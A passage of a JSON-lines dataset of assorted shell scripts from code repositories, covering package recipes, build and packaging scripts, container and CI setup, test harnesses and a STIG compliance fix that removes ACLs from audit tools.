updated\"\n git commit -a -m \"Update Dockerfile and VERSION file for version: $VERSION_BODY\"\n echo \"git commit ran for master branch\"\n echo \"SUCCESS\"\n exit 0\n else\n echo \"No dockerfile to update, MD5 has not changed\"\n exit 1\n fi\nelse\n echo \"Failure when downloading MD5 file\"\n exit 1\nfi"} {"text": "TERMUX_PKG_HOMEPAGE=http://joe-editor.sourceforge.net\nTERMUX_PKG_DESCRIPTION=\"Wordstar like text editor\"\nTERMUX_PKG_LICENSE=\"GPL-2.0\"\nTERMUX_PKG_MAINTAINER=\"@termux\"\nTERMUX_PKG_DEPENDS=\"ncurses\"\nTERMUX_PKG_CONFLICTS=\"jupp\"\nTERMUX_PKG_VERSION=4.6\nTERMUX_PKG_REVISION=2\nTERMUX_PKG_SRCURL=https://sourceforge.net/projects/joe-editor/files/JOE%20sources/joe-${TERMUX_PKG_VERSION}/joe-${TERMUX_PKG_VERSION}.tar.gz\nTERMUX_PKG_SHA256=495a0a61f26404070fe8a719d80406dc7f337623788e445b92a9f6de512ab9de\nTERMUX_PKG_EXTRA_CONFIGURE_ARGS=\"--disable-termcap\"\n\ntermux_step_create_debscripts() {\n\tcat <<- EOF > ./postinst\n\t#!$TERMUX_PREFIX/bin/sh\n\tif [ \"$TERMUX_PACKAGE_FORMAT\" = \"pacman\" ] || [ \"\\$1\" = \"configure\" ] || [ \"\\$1\" = \"abort-upgrade\" ]; then\n\t\tif [ -x \"$TERMUX_PREFIX/bin/update-alternatives\" ]; then\n\t\t\tupdate-alternatives --install \\\n\t\t\t\t$TERMUX_PREFIX/bin/editor editor $TERMUX_PREFIX/bin/joe 10\n\t\tfi\n\tfi\n\tEOF\n\n\tcat <<- EOF > ./prerm\n\t#!$TERMUX_PREFIX/bin/sh\n\tif [ \"$TERMUX_PACKAGE_FORMAT\" = \"pacman\" ] || [ \"\\$1\" != \"upgrade\" ]; then\n\t\tif [ -x \"$TERMUX_PREFIX/bin/update-alternatives\" ]; then\n\t\t\tupdate-alternatives --remove editor $TERMUX_PREFIX/bin/joe\n\t\tfi\n\tfi\n\tEOF\n}"} {"text": "aovasylenko/aggregatepyaudio-feedstock/recipe/build.sh\n#!/bin/bash\nexport PORTAUDIO_PATH=$PREFIX\n$PYTHON setup.py install #--static-link"} {"text": "scripts/diff-options.sh\n#!/usr/bin/env sh\n#\n# Shows the options that are only available to the subcommand.\n# Example: ./yarn-diff-options.sh add\n\nglobal=$(yarn help | tr ',' '\\n' | grep -o ' \\-[[:alpha:]-]\\+' | tr -d '\\n')\nsub=$(yarn help $1 | tr ',' '\\n' | grep -o ' \\-[[:alpha:]-]\\+' | tr -d '\\n')\n\necho ${sub#\"$global\"}"} {"text": "#!/bin/bash\n#\n# helper script masking as a test for vpath builds; creates soft links to\n# necessary input items and utilities (bats binary, meshes, input files,\n# reference solutions, etc) in the test directory.\n\ntestDir=`dirname $0`\n\n# meshes\nif [ ! -d meshes ];then\n ln -s $testDir/meshes .\nfi\n\n# inputs\nif [ ! -d inputs ];then\n ln -s $testDir/inputs .\nfi\n\n# reference solutions\nif [ ! -d ref_solns ];then\n ln -s $testDir/ref_solns .\nfi\n\n# necessary binaries\nbinaries=\"bats die.sh soln_differ ../src/tps.py\"\nfor binary in $binaries; do\n if [ ! -x $binary ];then\n if [ -x $testDir/$binary ];then\n ln -s $testDir/$binary $binary\n fi\n fi\ndone\n\n# necessary text files\nfiles=\"valgrind.suppressions\"\nfor file in $files; do\n if [ ! -s $file ];then\n if [ -s $testDir/$file ];then\n ln -s $testDir/$file .\n fi\n fi\ndone\n\n# necessary libs\nlibs=\"libtps.la\"\nfor lib in $libs; do\n if [ ! -s $lib ];then\n if [ -s $testDir/$lib ];then\n ln -s $testDir/$lib .\n fi\n fi\ndone"} {"text": "1-10\ngdc --version=canOptimize source/fixe/*/*.d source/fixe/*.d tests/main.d -O3 -o out/fixe"} {"text": "dienoe/django_demo0\n#!/bin/bash\nmysql -uroot -pmysql -h 10.211.55.5 meiduo_29 < ./areas.sql"} {"text": "SmartCityLabs-TAMU/kvaser_interface\n#!/bin/bash\nset -ex\n\nCANLIB_LIBNAME=libcanlib.so\nCANLIB_SONAME=libcanlib.so.1\nCANLIB_LIBRARY=libcanlib.so.1.2.0\n\nLINLIB_LIBNAME=liblinlib.so\nLINLIB_SONAME=liblinlib.so.1\nLINLIB_LIBRARY=liblinlib.so.1.2.0\n\ncd /tmp\nwget http://www.kvaser.com/software/7330130980754/V5_20_0/linuxcan.tar.gz\ntar xvf linuxcan.tar.gz\ncd /tmp/linuxcan\nmake canlib linlib\n\ncd /tmp/linuxcan/canlib\ninstall -m 644 $CANLIB_LIBRARY /usr/lib/\nln -sf $CANLIB_LIBRARY /usr/lib/$CANLIB_LIBNAME\nln -sf $CANLIB_LIBRARY /usr/lib/$CANLIB_SONAME\n/sbin/ldconfig\ninstall -m 644 ../include/canlib.h /usr/include\ninstall -m 644 ../include/canstat.h /usr/include\ninstall -m 644 ../include/obsolete.h /usr/include\n\ncd /tmp/linuxcan/linlib\ninstall -m 644 $LINLIB_LIBRARY /usr/lib/\nln -sf $LINLIB_LIBRARY /usr/lib/$LINLIB_LIBNAME\nln -sf $LINLIB_LIBRARY /usr/lib/$LINLIB_SONAME\n/sbin/ldconfig -X\ninstall -m 644 ../include/linlib.h /usr/include"} {"text": ".travis/set_ssh.sh\n#!/bin/bash\n\ndeclare -r SSH_FILE=\"$(mktemp -u $HOME/.ssh/XXXXX)\"\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# Decrypt the file containing the private key\n\nopenssl aes-256-cbc \\\n -K $encrypted_8ebb1ef83f64_key \\\n -iv $encrypted_8ebb1ef83f64_iv \\\n -in \".travis/github_deploy_key.enc\" \\\n -out \"$SSH_FILE\" -d\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# Enable SSH authentication\n\nchmod 600 \"$SSH_FILE\" \\\n && printf \"%s\\n\" \\\n \"Host github.com\" \\\n \" IdentityFile $SSH_FILE\" \\\n \" LogLevel ERROR\" >> ~/.ssh/config"} {"text": "kno2502/monitoring-google-drive\n#!/bin/sh\nLINES=$(grep '/anyone:' | awk -F\"\\t\" '$2 !~ /\\/(_世界に向けて公開するファイル|_個別提供OKなファイル|_世界公開|_個別提供)(\\/.*)?$/ {print $1,$2}')\n\nif [ -z \"${LINES}\" ]; then\n /bin/echo -e \"watcher\\tgoogle-drive[pasv]\\t0\\tsharing status OK\"\nelse\n /bin/echo -e \"watcher\\tgoogle-drive[pasv]\\t2\\tsharing status NG\"\nfi"} {"text": "uk-gov-mirror/ministryofjustice.cloud-platform-how-out-of-date-are-we\n#!/bin/sh\n\nset -euo pipefail\n\nbin/list-statefiles.rb > data.json\n\ncurl -vvv \\\n -H \"Content-Type: application/json\" \\\n -H \"X-API-KEY: ${HOODAW_API_KEY}\" \\\n -d @data.json \\\n ${HOODAW_HOST}/orphaned_statefiles"} {"text": "k8s/envoy-x509/scripts/pre-set-env.sh0\n#/bin/bash\n\nset -e\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nEXAMPLEDIR=\"$(dirname \"$DIR\")\"\nK8SDIR=\"$(dirname \"$EXAMPLEDIR\")\"\n\nbb=$(tput bold) || true\nnn=$(tput sgr0) || true\nred=$(tput setaf 1) || true\ngreen=$(tput setaf 2) || true\n\nLOGLINE=\"Node attestation request completed\"\nwait_for_agent() {\n for ((i=0;i<120;i++)); do\n if ! kubectl -nspire rollout status statefulset/spire-server; then\n sleep 1\n continue\n fi\n if ! kubectl -nspire rollout status daemonset/spire-agent; then\n sleep 1\n continue\n fi\n if ! kubectl -nspire logs statefulset/spire-server -c spire-server | grep -e \"$LOGLINE\" ; then\n sleep 1\n continue\n fi\n echo \"${bold}SPIRE Agent ready.${nn}\"\n RUNNING=1\n break\n done\n if [ ! -n \"${RUNNING}\" ]; then\n echo \"${red}Timed out waiting for SPIRE Agent to be running.${nn}\"\n exit 1\n fi\n}\n\necho \"${bb}Creates all the resources needed to the SPIRE Server and SPIRE Agent to be available in the cluster.${nn}\"\nkubectl apply -k ${K8SDIR}/quickstart/.\n\necho \"${bb}Waiting until SPIRE Agent is running${nn}\"\nwait_for_agent\n\necho \"${bb}Creates registration entries.${nn}\"\nbash ${K8SDIR}/quickstart/create-node-registration-entry.sh > /dev/null\n\necho \"${green}SPIRE resources creation completed.${nn}\""} {"text": "100-1000\n#!/bin/bash\n\nset -o xtrace\nset -o errexit\nset -o pipefail\n\nexport PYTHONUNBUFFERED=1\n\n\nfunction init_runonce {\n . /etc/kolla/admin-openrc.sh\n . ~/openstackclient-venv/bin/activate\n\n echo \"Initialising OpenStack resources via init-runonce\"\n KOLLA_DEBUG=1 tools/init-runonce |& gawk '{ print strftime(\"%F %T\"), $0; }' &> /tmp/logs/ansible/init-runonce\n}\n\n\ninit_runonce"} {"text": "#!/bin/bash\n\nif ! which rpmbuild 2> /dev/null\nthen\n\techo \"*** Fatal: please install rpmbuild\"\n exit 1\nfi\n\nARCH=\"amd64\"\nif [[ $# -ge 1 ]]\nthen\n ARCH=\"$1\"\nfi\n\n# Map to Debian architecture\nif [[ \"$ARCH\" == \"amd64\" ]]; then\n RPM_ARCH=x86_64\n\tEXENAME_SRC=\"victoria-metrics-prod\"\nelif [[ \"$ARCH\" == \"arm64\" ]]; then\n RPM_ARCH=aarch64\n EXENAME_SRC=\"victoria-metrics-arm64-prod\"\nelse\n echo \"*** Unknown arch $ARCH\"\n exit 1\nfi\n\nPACKDIR=\"./package\"\nTEMPDIR=\"${PACKDIR}/temp-rpm-${RPM_ARCH}\"\nEXENAME_DST=\"victoria-metrics-prod\"\n\n# Pull in version info\n\nVERSION=`cat ${PACKDIR}/VAR_VERSION | perl -ne 'chomp and print'`\nBUILD=`cat ${PACKDIR}/VAR_BUILD | perl -ne 'chomp and print'`\n\n# Create directories\n\n[[ -d \"${TEMPDIR}\" ]] && rm -rf \"${TEMPDIR}\"\n\nmkdir -p \"${TEMPDIR}\" && echo \"*** Created : ${TEMPDIR}\"\n\necho \"*** Version : ${VERSION}-${BUILD}\"\necho \"*** Arch : ${RPM_ARCH}\"\n\nOUT_RPM=\"victoria-metrics-${VERSION}-${BUILD}.${RPM_ARCH}.rpm\"\n\necho \"*** Out .rpm : ${OUT_RPM}\"\n\ncat > \"${TEMPDIR}/victoria-metrics.spec\" <\nRequires: libpthread\nRequires: libc\n\n%description\nVictoriaMetrics is fast, cost-effective and scalable time series database. It can be used as a long-term remote storage for Prometheus.\n\n%files\n%attr(0744, root, root) /usr/bin/*\n%attr(0644, root, root) /lib/systemd/system/*\n\n%prep\nmkdir -p \\$RPM_BUILD_ROOT/usr/bin/\nmkdir -p \\$RPM_BUILD_ROOT/lib/systemd/system/\n\ncp ${PWD}/bin/${EXENAME_SRC} \\$RPM_BUILD_ROOT/usr/bin/${EXENAME_DST}\ncp ${PWD}/package/victoria-metrics.service \\$RPM_BUILD_ROOT/lib/systemd/system/\n\n%post\n/usr/bin/systemctl daemon-reload\n\n%preun\n/usr/bin/systemctl stop victoria-metrics\n\n%postun\n/usr/bin/systemctl daemon-reload\nEOF\n\nrpmbuild -bb --target \"${RPM_ARCH}\" \\\n\t\"${TEMPDIR}/victoria-metrics.spec\"\n\ncp \"${HOME}/rpmbuild/RPMS/${RPM_ARCH}/${OUT_RPM}\" \"${PACKDIR}\"\n\necho \"*** Created : ${PACKDIR}/${OUT_RPM}\""} {"text": "scripts/build.sh\n#!/bin/sh\n# All command line arguments are passed to CMake\n\nif [ ! -f core/main.cpp ]; then\n\t[ -f ../core/main.cpp ] && cd ..\n\tif [ $? -ne 0 ]; then\n\t\techo \"Must be launched from project root\"\n\t\texit 1\n\tfi\nfi\n\nmkdir -p build && cd build && cmake \"$@\" .. && cmake --build .\nif [ $? -ne 0 ]; then\n\texit 1\nfi"} {"text": "#!/bin/sh\n\nexec fish -c \"set -x i3wm_fish_term_parent_window_id (printf '%d\\n' (xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print \\$NF}')); exec urxvt -e fish\""} {"text": "#!/bin/bash\nset -e\n\n./scripts/build_layers.sh\naws-vault exec sandbox-account-admin -- ./scripts/sign_layers.sh sandbox\naws-vault exec sandbox-account-admin -- ./scripts/publish_layers.sh"} {"text": "#Aqueduct - Compliance Remediation Content\n#Copyright (C) 2011,2012 ()\n#\n#This program is free software; you can redistribute it and/or\n#modify it under the terms of the GNU General Public License\n#as published by the Free Software Foundation; either version 2\n#of the License, or (at your option) any later version.\n#\n#This program is distributed in the hope that it will be useful,\n#but WITHOUT ANY WARRANTY; without even the implied warranty of\n#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n#GNU General Public License for more details.\n#\n#You should have received a copy of the GNU General Public License\n#along with this program; if not, write to the Free Software\n#Foundation, Inc., 51 Franklin Street, Fifth Floor,\n#Boston, MA 02110-1301, USA.\n\n#!/bin/bash\n######################################################################\n#By Tummy a.k.a \t\t #\n#Vincent[.]Passaro[@]gmail[.]com\t\t\t\t #\n#www.vincentpassaro.com\t\t\t\t\t\t #\n######################################################################\n#_____________________________________________________________________\n#| Version | Change Information | Author | Date |\n#|__________|_______________________|____________________|____________|\n#| 1.0 | Initial Script | | 20-oct-2011|\n#|\t | Creation\t | | |\n#|__________|_______________________|____________________|____________|\n#\n#\n# - updated by ()\n# on 24-jan-2012 to add a check for ACLs before removing them.\n\n\n#######################DISA INFORMATION###############################\n#Group ID (Vulid): V-22373\n#Group Title: GEN002718\n#Rule ID: SV-26513r1_rule\n#Severity: CAT III\n#Rule Version (STIG-ID): GEN002718\n#Rule Title: System audit tool executables must not have extended ACLs.\n#\n#Vulnerability Discussion: To prevent unauthorized access or manipulation \n#of system audit logs, the tools for manipulating those logs must be protected.\n#\n#Responsibility: System Administrator\n#IAControls: ECLP-1\n#\n#Check Content: \n#Check the permissions of audit tool executables.\n# ls -l /sbin/auditctl /sbin/auditd /sbin/ausearch /sbin/aureport \n#/sbin/autrace /sbin/audispd\n#If the permissions include a '+', the file has an extended ACL, this \n#is a finding.\n#\n#Fix Text: Remove the extended ACL from the file.\n# setfacl --remove-all \n#######################DISA INFORMATION###############################\n\n#Global Variables#\nPDI=GEN002718\n\n#Start-Lockdown\nfor AUDITFILE in /sbin/auditctl /sbin/auditd /sbin/ausearch /sbin/aureport /sbin/autrace /sbin/audispd\ndo\n ACLOUT=`getfacl --skip-base $AUDITFILE 2>/dev/null`;\n if [ \"$ACLOUT\" != \"\" ]\n then\n setfacl --remove-all $AUDITFILE\n fi\ndone"} {"text": "100-1000\n#!/bin/bash\n\nset -e\n\nxroot=${1:-~/xroot}\n\nmkdir -p $xroot\ncd $xroot\n\nadd_deb () {\n echo \"Adding deb package $1 to $xroot\"\n wget -nv $1\n dpkg-deb -x ${1##*/} $xroot\n}\n\n# OpenBLAS and Netlib LAPACK binaries from Trusty.\nadd_deb http://mirrors.kernel.org/ubuntu/pool/main/l/lapack/liblapacke-dev_3.5.0-2ubuntu1_amd64.deb\nadd_deb http://mirrors.kernel.org/ubuntu/pool/main/l/lapack/liblapacke_3.5.0-2ubuntu1_amd64.deb\nadd_deb http://mirrors.kernel.org/ubuntu/pool/universe/o/openblas/libopenblas-dev_0.2.8-6ubuntu1_amd64.deb\nadd_deb http://mirrors.kernel.org/ubuntu/pool/universe/o/openblas/libopenblas-base_0.2.8-6ubuntu1_amd64.deb\nadd_deb http://mirrors.kernel.org/ubuntu/pool/main/b/blas/libblas-dev_1.2.20110419-7_amd64.deb\nadd_deb http://mirrors.kernel.org/ubuntu/pool/main/b/blas/libblas3_1.2.20110419-7_amd64.deb\n\n# Show extracted packages.\nfind $xroot | sort"} {"text": "data=$1;\nfilename=\"${data##*/}\";\nfileonly=$(echo $filename|cut -d. -f1);\nouttag=$2;\nmask=$3;\nperms=$4;\necho \"randomise -i $data -o pos-$outtag -m $mask -n $perms -T -1 --tfce_C=6 -v 6\"\nrandomise -i $data -o pos-$outtag -m $mask -n $perms -T -1 --tfce_C=6 -v 6\n#echo fslmaths $data -mul -1 neg-\"$filename\"\n#fslmaths $data -mul -1 neg-\"$filename\"\n#echo \"randomise -i neg-$filename -o neg-$outtag -m $mask -n $perms -T -1 --tfce_C=6 -v 6\"\n#randomise -i neg-$filename -o neg-$outtag -m $mask -n $perms -T -1 --tfce_C=6 -v 6\necho fslmaths pos-\"$outtag\"_tfce_corrp_tstat1.nii.gz -thr 0.95 posp\nfslmaths pos-\"$outtag\"_tfce_corrp_tstat1.nii.gz -thr 0.95 posp\n#echo fslmaths neg-\"$outtag\"_tfce_corrp_tstat1.nii.gz -thr 0.95 negp\n#fslmaths neg-\"$outtag\"_tfce_corrp_tstat1.nii.gz -thr 0.95 negp\necho fslmaths posp -bin posmask\nfslmaths posp -bin posmask\n#echo fslmaths negp -bin negmask\n#fslmaths negp -bin negmask\n#echo fslmaths posmask -add negmask TFCEmask\n#fslmaths posmask -add negmask TFCEmask\n\n## only posmask since TFCEmask was not created\necho fslmaths pos-\"$outtag\"_tstat1.nii.gz -mul posmask \"$outtag\"_tstat1_Corrected.nii.gz\nfslmaths pos-\"$outtag\"_tstat1.nii.gz -mul posmask \"$outtag\"_tstat1_Corrected.nii.gz\ncp pos-\"$outtag\"_tstat1.nii.gz \"$outtag\"_tstat1_Uncorrected.nii.gz"} {"text": "cock1doodledoo/packer-box\n#!/usr/bin/env bash\n\napt-get -y update\napt-get -y dist-upgrade\nreboot\nsleep 60"} {"text": "#!/bin/bash\napt -y update\napt -y install httpie\nwget https://github.com/wercker/stern/releases/download/1.11.0/stern_linux_amd64\nchmod +x stern_linux_amd64\nmv stern_linux_amd64 /usr/local/bin/stern"} {"text": "Dynatrace-Asad-Ali/keptn-in-a-box\n#!/bin/bash\necho \"Enter DT_TENENT. Do not nnclude https\"\nread dt_tenant\necho \"Enter DT_PAAS_TOKEN\"\nread dt_paas_token\necho \"Enter DT_API_TOKEN\"\nread dt_api_token\nsed -i \"s/TENANT=/TENANT=https\\:\\/\\/$dt_tenant/g\" ./keptn-in-a-box.sh\nsed -i \"s/PAASTOKEN=/PAASTOKEN=$dt_paas_token/g\" ./keptn-in-a-box.sh\nsed -i \"s/APITOKEN=/APITOKEN=$dt_api_token/g\" ./keptn-in-a-box.sh"} {"text": "10-100\n#!/bin/sh\n\nset -eu\nset -o pipefail\n\n. ./expect-tests/config.sh\n\nbuildHost=root@$PXE_BUILD_HOST\n\nset -x\n\ndrv=$(realpath $(time nix-instantiate ./all.nix --show-trace --add-root ./result.drv --indirect))\n\nexport NIX_SSHOPTS=\"-o UserKnownHostsFile=./pxe-known-host\"\nnix-copy-closure --to \"$buildHost\" \"$drv\"\nssh $NIX_SSHOPTS \"$buildHost\" NIX_REMOTE=daemon nix-store --realize \"$drv\" --add-root /var/www/result --indirect --keep-going"} {"text": "jesusdf/tutorialc\n#!/bin/bash\nOPTIMIZE_FLAGS=\"-O3 -march=native -mtune=native -pipe\"\ngcc ${OPTIMIZE_FLAGS} match.c -o match && ./match\n#gcc -ggdb match.c -o match && ./match"} {"text": "#!/usr/bin/env bash\n\nset -e\n\nif [ -d /built_app ]; then\n cd /built_app\n yarn config set unsafe-perm true\n yarn install --production=true\nelse\n echo \"=> You don't have an oreact app to run in this image.\"\n exit 1\nfi\n\n# Set a delay to wait to start meteor container\nif [[ $DELAY ]]; then\n echo \"Delaying startup for $DELAY seconds\"\n sleep $DELAY\nfi\n\n# Honour already existing PORT setup\nexport PORT=${PORT:-80}\n\necho \"=> Starting oreact app on port:$PORT\"\nexec oreact start prod\n#exec node ${OREACTD_NODE_OPTIONS} server.js"} {"text": "read -r x\nread -r y\n\nprintf '%d\\n' $((x + y)) $((x - y)) $((x * y)) $((x / y))"} {"text": "test/regression/daily/chaincodeTests/envsetup/network_setup.sh\n#!/bin/bash\n#\n# Copyright IBM Corp. All Rights Reserved.\n#\n# SPDX-License-Identifier: Apache-2.0\n#\n\n\nUP_DOWN=$1\nCH_NAME=$2\nCHANNELS=$3\nCHAINCODES=$4\nENDORSERS=$5\n\n: ${CH_NAME:=\"mychannel\"}\n: ${CHANNELS:=\"1\"}\n: ${CHAINCODES:=\"1\"}\n: ${ENDORSERS:=\"4\"}\nCOMPOSE_FILE=docker-compose.yaml\n\nfunction printHelp () {\n\techo \"Usage: ./network_setup.sh [channel-name] [total-channels [chaincodes] [endorsers count]\"\n}\n\nfunction validateArgs () {\n\tif [ -z \"${UP_DOWN}\" ]; then\n\t\techo \"Option up / down / restart not mentioned\"\n\t\tprintHelp\n\t\texit 1\n\tfi\n}\n\nfunction clearContainers () {\n CONTAINER_IDS=$(docker ps -aq)\n if [ -z \"$CONTAINER_IDS\" -o \"$CONTAINER_IDS\" = \" \" ]; then\n echo \"---- No containers available for deletion ----\"\n else\n docker rm -f $CONTAINER_IDS\n fi\n}\n\nfunction removeUnwantedImages() {\n DOCKER_IMAGE_IDS=$(docker images | grep \"dev\\|none\\|test-vp\\|peer[0-9]-\" | awk '{print $3}')\n if [ -z \"$DOCKER_IMAGE_IDS\" -o \"$DOCKER_IMAGE_IDS\" = \" \" ]; then\n echo \"---- No images available for deletion ----\"\n else\n docker rmi -f $DOCKER_IMAGE_IDS\n fi\n}\n\nfunction networkUp () {\n CurrentDIR=$PWD\n echo \"ch_name $CH_NAME\"\n echo \"Num channels $CHANNELS\"\n echo \"Num chaincodes $CHAINCODES\"\n echo \"Num of endorsers/peers $ENDORSERS\"\n source generateCfgTrx.sh $CH_NAME $CHANNELS\n cd $CurrentDIR\n\n\tdocker-compose -f $COMPOSE_FILE up -d 2>&1\n\tif [ $? -ne 0 ]; then\n\t\techo \"ERROR !!!! Unable to pull the images \"\n\t\texit 1\n\tfi\n}\n\nfunction networkDown () {\n docker-compose -f $COMPOSE_FILE down\n #Cleanup the chaincode containers\n\tclearContainers\n\t#Cleanup images\n\tremoveUnwantedImages\n #remove orderer and config txn\n rm -rf channel-artifacts/* crypto-config crypto-config.yaml configtx.yaml __pycache__ results.xml scripts/.cache base\n}\n\nvalidateArgs\n\n#Create the network using docker compose\nif [ \"${UP_DOWN}\" == \"up\" ]; then\n\tnetworkUp\nelif [ \"${UP_DOWN}\" == \"down\" ]; then ## Clear the network\n\tnetworkDown\nelif [ \"${UP_DOWN}\" == \"restart\" ]; then ## Restart the network\n\tnetworkDown\n\tnetworkUp\nelse\n\tprintHelp\n\texit 1\nfi"} {"text": "#!/bin/bash\n\n# This script is designed to run outside fo the CI image. It builds the CI image and\n# stages a ci-like environment locally using your container runtime to validate that\n# the tests execute correctly. Mostly it is to make sure that the container images\n# are suitable, with minimal files share between, for multi-stage builds in OpenShift CI\n\nset -eo pipefail\n\nSCRIPT_DIR=$(cd -- \"$(dirname -- \"${BASH_SOURCE[0]}\")\" &>/dev/null && pwd)\n# The runtime used to execute the image\nruntime=\"${CONTAINER_RUNTIME:-podman}\"\n\ncd \"$SCRIPT_DIR/..\"\n\n# Build a fresh copy of the integration image\n\"$SCRIPT_DIR/build-image.sh\"\n\n# Make directories necessary for mocking CI\nmkdir -p ci/artifacts ci/shared ci/secrets/pull-secret ci/secrets/aws-creds\n\n# Secret setup\nif [ -z \"$CONSOLE_REDHAT_COM_PULL_SECRET\" ]; then\n read -rsp \"Pull secret: \" CONSOLE_REDHAT_COM_PULL_SECRET\nfi\necho \"$CONSOLE_REDHAT_COM_PULL_SECRET\" > ci/secrets/pull-secret/CONSOLE_REDHAT_COM_PULL_SECRET\nif [ -z \"$AWS_ACCESS_KEY_ID\" ]; then\n read -rsp \"AWS Access key ID: \" AWS_ACCESS_KEY_ID\nfi\necho \"$AWS_ACCESS_KEY_ID\" > ci/secrets/aws-creds/AWS_ACCESS_KEY_ID\nif [ -z \"$AWS_SECRET_ACCESS_KEY\" ]; then\n read -rsp \"AWS Secret access key: \" AWS_SECRET_ACCESS_KEY\nfi\necho \"$AWS_SECRET_ACCESS_KEY\" > ci/secrets/aws-creds/AWS_SECRET_ACCESS_KEY\n\n# Execute commands inside the integration test folder in the container, with\n# bind mounts for mocked artifacts, shared directories, and secrets\nfunction ci_run() {\n $runtime run --rm -it -e OPENSHIFT_CI=true -e SHARED_DIR=\"/shared\" -e ARTIFACT_DIR=\"/artifacts\" -v ./ci/artifacts:/artifacts -v ./ci/shared:/shared -v ./ci/secrets:/etc/ci --security-opt=label=disable --privileged oc-mirror-ci-integration /bin/sh -c \"chown -R 1000:1000 . /shared /artifacts && cd test/integration && $* && cd ../.. && chown -R 0:0 . /shared /artifacts\"\n}\n\n# Remove the infra no matter what happens in the tests\nfunction ci_cleanup() {\n ci_run make ci-delete\n}\ntrap ci_cleanup EXIT\n\n# Run the ci test target\nci_run make ci"} {"text": "scripts/run.sh100-1000\n\n\n# train PAM\npython ./train.py --save_epoch_freq 1 --angle 15 --dataroot path-to-LEVIR-CD-train --val_dataroot path-to-LEVIR-CD-val --name LEVIR-CDFAp0 --lr 0.001 --model --SA_mode PAM CDFA --batch_size 8 --load_size 256 --crop_size 256 --preprocess rotate_and_crop"} {"text": "buildscripts/gateway-tests.sh\n#!/bin/bash\n#\n# Minio Cloud Storage, (C) 2019 Minio, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nset -e\nset -E\nset -o pipefail\n\nexport SERVER_ENDPOINT=127.0.0.1:24240\nexport ENABLE_HTTPS=0\nexport ACCESS_KEY=minio\nexport SECRET_KEY=minio123\nexport MINIO_ACCESS_KEY=minio\nexport MINIO_SECRET_KEY=minio123\nexport AWS_ACCESS_KEY_ID=minio\nexport AWS_SECRET_ACCESS_KEY=minio123\n\ntrap \"cat server.log;cat gateway.log\" SIGHUP SIGINT SIGTERM\n\n./minio --quiet --json server data --address 127.0.0.1:24242 > server.log &\nsleep 3\n./minio --quiet --json gateway s3 http://127.0.0.1:24242 --address 127.0.0.1:24240 > gateway.log &\nsleep 3\n\nmkdir -p /mint\ngit clone https://github.com/minio/mint /mint\ncd /mint\n\nexport MINT_ROOT_DIR=${MINT_ROOT_DIR:-/mint}\nexport MINT_RUN_CORE_DIR=\"$MINT_ROOT_DIR/run/core\"\nexport MINT_RUN_SECURITY_DIR=\"$MINT_ROOT_DIR/run/security\"\nexport WGET=\"wget --quiet --no-check-certificate\"\n\ngo get github.com/go-ini/ini\n\n./create-data-files.sh\n./preinstall.sh\n\n# install mint app packages\nfor pkg in \"build\"/*/install.sh; do\n echo \"Running $pkg\"\n $pkg\ndone\n\n./postinstall.sh\n\n/mint/entrypoint.sh || cat server.log gateway.log fail"} {"text": "100-1000\n#!/bin/bash\n#\n\nDIR=$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\nsource \"${DIR}\"/functions.sh\n\n# save user's password to Keychain\necho \" \"\necho \"Your Mac user's password will be saved in to 'Keychain' \"\necho \"and later one used for 'sudo' command to start 'corectld' server !!!\"\necho \" \"\necho \"Please type your Mac user's password followed by [ENTER]:\"\nread -s -r my_password\npasswd_ok=0\n\n# check if sudo password is correct\nwhile [ ! $passwd_ok = 1 ]\ndo\n# reset sudo\nsudo -k\n# check sudo\nprintf '%s\\n' \"$my_password\" | sudo -Sv > /dev/null 2>&1\nCAN_I_RUN_SUDO=$(sudo -n uptime 2>&1|grep \"load\"|wc -l)\nif [ ${CAN_I_RUN_SUDO} -gt 0 ]\nthen\necho \"The sudo password is fine !!!\"\necho \" \"\npasswd_ok=1\nelse\necho \" \"\necho \"The password you entered does not match your Mac user password !!!\"\necho \"Please type your Mac user's password followed by [ENTER]:\"\nread -s -r my_password\nfi\ndone\n\nsecurity add-generic-password -a coreosctl-app -s coreosctl-app -w $my_password -U\n\necho \" \"\npause 'Press [Enter] key to continue...'"} {"text": "#!/bin/sh -e\nset -x\n\n# Sort imports one per line, so autoflake can remove unused imports\nisort main.py test.py app API --force-single-line-imports\n\n# And now merge it.\nisort main.py test.py app API\n\nsh ./scripts/format.sh"} {"text": "#!/bin/sh\n\nTSLIB_TSDEVICE=/dev/input/event2\n\nexport TSLIB_TSDEVICE"} {"text": "#!/bin/bash\n# usage:\n# loop.sh filename.txt\n# Desc:\n# reads one line at a time from an input file\n#\n\ninfile=\"${1}\"\n\nwhile read -r line\ndo\n name=\"${line}\"\n echo \"${name}\"\ndone < \"${infile}\""} {"text": "#!/bin/bash\n\ncontainers=\"$1\"\n\necho \"Waiting for these containers to finish processing:\"\nfor container in ${containers}; do\n echo \" ${container}\"\ndone\necho \"\"\n\nfor container in ${containers}; do\n (\n for i in $(seq 1 24); do\n [ \"$(docker inspect --format='{{.State.Running}}{{.State.ExitCode}}' ${container})\" = \"false0\" ] && {\n echo \"Docker container ${container} has completed successfully\";\n exit 0;\n }\n sleep 5\n done\n exit 1\n ) || {\n printf \"\\n DOCKER CONTAINER ${container} FAILED TO START, LAST 250 LINES OF DOCKER LOGS FOLLOWS:\\n\\n\";\n docker logs --tail=250 ${container};\n exit 1;\n }\ndone"} {"text": "simenvg/cloud_detection_framework\n#!/bin/bash\n\ncd ~\n\n# Stuff\nsudo apt-get -y update\nsudo apt-get -y upgrade\nsudo apt-get -y install git\nsudo apt-get -y install gcc\nsudo apt-get -y install make\nsudo apt-get -y install unzip\nsudo apt-get -y install python-pip\nsudo apt-get -y install python-tk\n\n\nexport LC_ALL=en_US.UTF-8\necho 'export 